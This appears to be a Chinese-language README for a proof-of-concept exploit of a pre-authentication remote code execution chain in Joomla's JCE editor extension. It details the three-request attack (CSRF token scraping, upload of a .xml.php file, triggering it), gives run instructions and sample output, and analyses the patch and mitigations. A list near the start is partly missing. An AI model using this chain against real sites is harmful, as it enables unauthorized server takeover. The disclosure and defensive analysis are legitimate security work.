CVE-2026-48907 的概念验证利用程序——一个 CVSS 10.0 的预认证远程代码执行漏洞,存在于 Joomla 内容编辑器 (JCE) 扩展中。
由 Grayxploit 安全团队 研究
CVE-2026-48907 是一个影响 Joomla 内容编辑器 (JCE) 扩展的严重未认证远程代码执行 (RCE) 漏洞。JCE 是最广泛安装的 Joomla 编辑器,所有版本包括 2.9.99.4 及以下均受影响。
通过链式利用 JCE 配置文件导入流程中的三个独立安全弱点,完全未认证的攻击者可以:
/tmp/ 目录该攻击仅需要 3 个 HTTP 请求,且适用于任何运行受影响 JCE 版本的默认 Joomla 安装。
CVSS v4 评分:10.0 — 严重
由 Grayxploit 安全研究团队在负责任的披露后公开。
| 软件 | 受影响版本 | 补丁版本 |
|---|---|---|
| Joomla 内容编辑器 (JCE) | ≤ 2.9.99.4 | 2.9.99.6(推荐) |
注意: 2.9.99.5 引入了核心修复。2.9.99.6 增加了额外的加固层。请升级到 2.9.99.6 或更高版本。
漏洞源于 JCE 配置文件导入端点:
POST /index.php?option=com_jce&task=profiles.import
JCE 允许管理员将编辑器配置文件导出和导入为 XML 文件。由于三个独立弱点的链式利用,导入处理器可在无需认证的情况下访问,并接受任意文件上传。
导入控制器未执行任何 ACL 检查:
public function import()
{
// 唯一关卡:CSRF 令牌 —— 可轻易绕过
Session::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
$app = Factory::getApplication();
// … 直接进入文件处理 —— 没有 authorise() 检查
}
Joomla 将 CSRF 令牌嵌入每个公开页面,作为 meta 标签或 JS 变量:
<meta name="csrf.token" content="abcdef1234567890abcdef1234567890" />
攻击者只需抓取首页,提取令牌,然后重放。CSRF 检查可防止跨站请求 —— 但它不能防止直接的脚本化请求。导入路径中没有任何地方调用 Factory::getUser() 或 $user->authorise(...)。
上传处理器使用了 File::makeSafe(),该方法仅去除非法文件系统字符 —— 它不验证或限制文件扩展名:
$file = $app->input->files->get('profile_file', null, 'raw');
if (!is_uploaded_file($file['tmp_name'])) { return false; }
$name = File::makeSafe($file['name']); // 仅去除非法字符
$destination = $config->get('tmp_path') . '/' . $name;
$source = $file['tmp_name'];
File::upload($source, $destination, false, true);
像 shell.xml.php 这样的文件名会原封不动地通过 File::makeSafe()。Apache 的 mod_php 会执行它,因为最后一个被识别的扩展名是 .php。诸如 .php、.php5、.phtml 以及双扩展名变种均被接受。
$allow_unsafe = true 调用 File::upload() (CWE-116)Joomla 的 File::upload() 内置了一个扩展名黑名单,当 $allow_unsafe = false(默认)时会阻止危险文件类型:
// Joomla File::upload() 签名
File::upload($src, $dest, $use_streams = false, $allow_unsafe = false)
受影响的 JCE 代码明确禁用了这一安全网:
// 有漏洞 —— 明确允许不安全的文件上传
File::upload($source, $destination, false, true);
这一个布尔值就关闭了 Joomla 的整个内部扩展名黑名单,从而允许 .php、.php5、.phtml 以及所有其他可执行扩展名写入磁盘。
┌─────────────────────────────────────────────────────────────────┐
│ │
│ ① GET / │
│ ← 从 HTML/JS 中提取 csrf_token │
│ │
│ ② POST /index.php?option=com_jce&task=profiles.import │
│ Content-Type: multipart/form-data │
│ │
│ --boundary │
│ Content-Disposition: form-data; name="task" │
│ profiles.import │
│ --boundary │
│ Content-Disposition: form-data; name="<csrf_token>" │
│ 1 │
│ --boundary │
│ Content-Disposition: form-data; │
│ name="profile_file"; │
│ filename="shell-<hash>.xml.php" │
│ Content-Type: application/xml │
│ │
│ <?= 45*69 ?> │
│ --boundary-- │
│ │
│ ← 200 OK(文件写入 /var/www/html/tmp/) │
│ │
│ ③ GET /tmp/shell-<hash>.xml.php │
│ ← 响应:"3105" (45 × 69 = RCE 确认 ✓) │
│ │
└─────────────────────────────────────────────────────────────────┘
无需会话 Cookie。无需用户名。无需密码。仅需 3 个 HTTP 请求。
⚠️ 此 PoC 严格仅供授权的安全研究和渗透测试使用。未经明确书面许可,请勿在任何系统上使用。未经授权的使用是非法且不道德的。
pip3 install requests
git clone https://github.com/grayxploit/CVE-2026-48907.git
cd CVE-2026-48907
pip3 install -r requirements.txt
python3 poc.py
[] 目标 : http://localhost:9999
[] 负载 : cve-2026-48907-4821.xml.php [] 步骤 1 — 获取 CSRF 令牌...
[+] CSRF 令牌: abcdef1234567890abcdef1234567890
[] 步骤 2 — 上传负载...
[+] 上传响应: HTTP 200
[*] 步骤 3 — 触发负载执行...
[严重] RCE 确认 — CVE-2026-48907
目标 http://localhost:9999 存在漏洞
所有三个弱点均已在 JCE 2.9.99.5 中修复,并在 2.9.99.6 中发布了额外的加固措施。
controller/profiles.php:
$user = Factory::getUser();
if (!$user->authorise('core.manage', 'com_jce')) {
throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'), 403);
}
访客用户(id = 0)将立即通过 authorise() 验证失败。在任何文件处理发生之前请求被拒绝。
models/profile.php:
$extension = PATHINFO($name, PATHINFO_EXTENSION);
if (strtolower($extension) !== 'xml') {
$app->enqueueMessage(Text::_('WF_PROFILES_IMPORT_INVALID_FILE'), 'error');
return false;
}
PATHINFO_EXTENSION 仅返回最终扩展名。shell.xml.php → php → 被拒绝。消除了所有多扩展名绕过方法。
// 之前(有漏洞)
File::upload($source, $destination, false, true);
// 之后(已修复)
File::upload($source, $destination, false);
Joomla 的内部扩展名黑名单重新启用,作为独立的防御层。
| 修复 | 详情 |
|---|---|
| 上传大小上限 | 拒绝大于 512 KB 的文件 |
| XXE 保护 | 向后移植到 PHP 7.x 的 libxml_disable_entity_loader(true) |
| XML 字段白名单 | 仅处理已知安全的 XML 键;未知键被静默忽略 |
.htaccess 禁用 /tmp/ 中的 PHP<Directory /var/www/html/tmp>
php_flag engine off
<FilesMatch "\.ph(p[2-9]?|tml)$">
Deny from all
</FilesMatch>
</Directory>
本仓库仅专供在您拥有或已获得明确书面许可的系统上进行授权的安全研究、教育和渗透测试。
Grayxploit 团队不对任何未经授权、非法或恶意使用本仓库代码或信息的行为负责。
请负责任地使用。请合法地测试。
本项目采用 MIT 许可证。
| 优先级 | 操作 |
|---|
| 🔴 立即 | 将 JCE 升级到 ≥ 2.9.99.6 |
| 🟠 高 | 在服务器层面阻止或限制对 /tmp/ 的 Web 访问 |
| 🟠 高 | 通过 .htaccess 或服务器配置禁用临时目录中的 PHP 执行 |
| 🟡 中 | 添加 WAF 规则,对未认证会话中 com_jce&task=profiles.import 进行告警/阻止 |
| 🟡 中 | 审计其他 Joomla 扩展中是否存在 File::upload(..., true) 且无扩展名验证的情况 |
| 日期 | 事件 |
|---|
| 2026-05-XX | Grayxploit 研究团队发现漏洞 |
| 2026-05-XX | 向 JCE 维护者提交负责任的披露 |
| 2026-06-XX | MITRE 分配 CVE-2026-48907 |
| 2026-06-XX | JCE 2.9.99.5 发布 —— 核心修复 |
| 2026-06-12 | JCE 2.9.99.6 发布 —— 额外加固 |
| 2026-06-12 | Grayxploit 公开披露 |
| 我们发现 | 我们披露 | 你来防御 |
|---|
| 预认证 RCE | 负责任的公开 | 借助我们详细的补丁分析 |
| 逻辑缺陷 | 完整根因分析 | 安全使用我们的 PoC |
| 链式漏洞 | 在大规模利用之前 | 比威胁者更快 |
有线索或想合作?请提出 Issue 或通过我们的 GitHub 个人资料联系。
CVE-2026-48907 — 原创研究来自
负责任地破坏事物。